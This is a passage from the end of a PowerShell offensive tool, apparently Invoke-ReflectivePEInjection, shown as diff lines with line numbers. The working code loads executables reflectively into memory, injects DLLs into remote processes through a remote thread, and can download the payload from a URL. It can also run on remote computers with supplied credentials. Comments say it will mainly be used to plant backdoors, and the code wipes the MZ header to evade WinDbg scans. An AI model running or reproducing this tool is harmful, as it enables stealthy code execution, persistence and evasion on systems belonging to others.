- $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
2701
- $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
2702
-
2703
- if ($ImportDllHandle -eq $null)
2704
- {
2705
- Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue
2706
- }
2707
-
2708
- $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
2709
- if ($Success -eq $false)
2710
- {
2711
- Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue
2712
- }
2713
-
2714
- $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
2715
- }
2716
- }
2717
-
2718
- #Call DllMain with process detach
2719
- Write-Verbose "Calling dllmain so the DLL knows it is being unloaded"
2720
- $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
2721
- $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
2722
- $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
2723
-
2724
- $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
2725
-
2726
-
2727
- $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2728
- if ($Success -eq $false)
2729
- {
2730
- Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2731
- }
2732
- }
2733
-
2734
-
2735
- Function Main
2736
- {
2737
- $Win32Functions = Get-Win32Functions
2738
- $Win32Types = Get-Win32Types
2739
- $Win32Constants = Get-Win32Constants
2740
-
2741
- $RemoteProcHandle = [IntPtr]::Zero
2742
-
2743
- #If a remote process to inject in to is specified, get a handle to it
2744
- if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne ""))
2745
- {
2746
- Throw "Can't supply a ProcId and ProcName, choose one or the other"
2747
- }
2748
- elseif ($ProcName -ne $null -and $ProcName -ne "")
2749
- {
2750
- $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
2751
- if ($Processes.Count -eq 0)
2752
- {
2753
- Throw "Can't find process $ProcName"
2754
- }
2755
- elseif ($Processes.Count -gt 1)
2756
- {
2757
- $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
2758
- Write-Output $ProcInfo
2759
- Throw "More than one instance of $ProcName found, please specify the process ID to inject in to."
2760
- }
2761
- else
2762
- {
2763
- $ProcId = $Processes[0].ID
2764
- }
2765
- }
2766
-
2767
- #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
2768
- #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
2769
- # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
2770
- # {
2771
- # Write-Verbose "Getting SeDebugPrivilege"
2772
- # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
2773
- # }
2774
-
2775
- if (($ProcId -ne $null) -and ($ProcId -ne 0))
2776
- {
2777
- $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
2778
- if ($RemoteProcHandle -eq [IntPtr]::Zero)
2779
- {
2780
- Throw "Couldn't obtain the handle for process ID: $ProcId"
2781
- }
2782
-
2783
- Write-Verbose "Got the handle for the remote process to inject in to"
2784
- }
2785
-
2786
-
2787
- #Load the PE reflectively
2788
- Write-Verbose "Calling Invoke-MemoryLoadLibrary"
2789
- $PEHandle = [IntPtr]::Zero
2790
- if ($RemoteProcHandle -eq [IntPtr]::Zero)
2791
- {
2792
- $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR
2793
- }
2794
- else
2795
- {
2796
- $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR
2797
- }
2798
- if ($PELoadedInfo -eq [IntPtr]::Zero)
2799
- {
2800
- Throw "Unable to load PE, handle returned is NULL"
2801
- }
2802
-
2803
- $PEHandle = $PELoadedInfo[0]
2804
- $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
2805
-
2806
-
2807
- #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
2808
- $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2809
- if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
2810
- {
2811
- #########################################
2812
- ### YOUR CODE GOES HERE
2813
- #########################################
2814
- switch ($FuncReturnType)
2815
- {
2816
- 'WString' {
2817
- Write-Verbose "Calling function with WString return type"
2818
- [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc"
2819
- if ($WStringFuncAddr -eq [IntPtr]::Zero)
2820
- {
2821
- Throw "Couldn't find function address."
2822
- }
2823
- $WStringFuncDelegate = Get-DelegateType @() ([IntPtr])
2824
- $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
2825
- [IntPtr]$OutputPtr = $WStringFunc.Invoke()
2826
- $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
2827
- Write-Output $Output
2828
- }
2829
-
2830
- 'String' {
2831
- Write-Verbose "Calling function with String return type"
2832
- [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
2833
- if ($StringFuncAddr -eq [IntPtr]::Zero)
2834
- {
2835
- Throw "Couldn't find function address."
2836
- }
2837
- $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
2838
- $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
2839
- [IntPtr]$OutputPtr = $StringFunc.Invoke()
2840
- $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
2841
- Write-Output $Output
2842
- }
2843
-
2844
- 'Void' {
2845
- Write-Verbose "Calling function with Void return type"
2846
- [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2847
- if ($VoidFuncAddr -eq [IntPtr]::Zero)
2848
- {
2849
- Throw "Couldn't find function address."
2850
- }
2851
- $VoidFuncDelegate = Get-DelegateType @() ([Void])
2852
- $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
2853
- $VoidFunc.Invoke() | Out-Null
2854
- }
2855
- }
2856
- #########################################
2857
- ### END OF YOUR CODE
2858
- #########################################
2859
- }
2860
- #For remote DLL injection, call a void function which takes no parameters
2861
- elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
2862
- {
2863
- $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
2864
- if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
2865
- {
2866
- Throw "VoidFunc couldn't be found in the DLL"
2867
- }
2868
-
2869
- $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
2870
- $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
2871
-
2872
- #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
2873
- $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
2874
- }
2875
-
2876
- #Don't free a library if it is injected in a remote process or if it is an EXE.
2877
- #Note that all DLL's loaded by the EXE will remain loaded in memory.
2878
- if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
2879
- {
2880
- Invoke-MemoryFreeLibrary -PEHandle $PEHandle
2881
- }
2882
- else
2883
- {
2884
- #Delete the PE file from memory.
2885
- $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
2886
- if ($Success -eq $false)
2887
- {
2888
- Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue
2889
- }
2890
- }
2891
-
2892
- Write-Verbose "Done!"
2893
- }
2894
-
2895
- Main
2896
- }
2897
-
2898
- #Main function to either run the script locally or remotely
2899
- Function Main
2900
- {
2901
- if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
2902
- {
2903
- $DebugPreference = "Continue"
2904
- }
2905
-
2906
- Write-Verbose "PowerShell ProcessID: $PID"
2907
-
2908
- if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2909
- {
2910
- Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2911
- [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2912
- }
2913
- elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
2914
- {
2915
- $WebClient = New-Object System.Net.WebClient
2916
-
2917
- [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
2918
- }
2919
-
2920
- #Verify the image is a valid PE file
2921
- $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
2922
-
2923
- if ($e_magic -ne 'MZ')
2924
- {
2925
- throw 'PE is not a valid PE file.'
2926
- }
2927
-
2928
- # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
2929
- # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
2930
- $PEBytes[0] = 0
2931
- $PEBytes[1] = 0
2932
-
2933
- #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1)
2934
- if ($ExeArgs -ne $null -and $ExeArgs -ne '')
2935
- {
2936
- $ExeArgs = "ReflectiveExe $ExeArgs"
2937
- }
2938
- else
2939
- {
2940
- $ExeArgs = "ReflectiveExe"
2941
- }
2942
-
2943
- if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2944
- {
2945
- Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2946
- }
2947
- else
2948
- {
2949
- Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName -Credential $Credential
2950
- }
2951
- }
2952
-
2953
- Main
2954
- }
2955
-
2956
-
2957
- Invoke-ReflectivePEInjection -PEBytes $PEBytes
2958
- echo 'Command Reflected'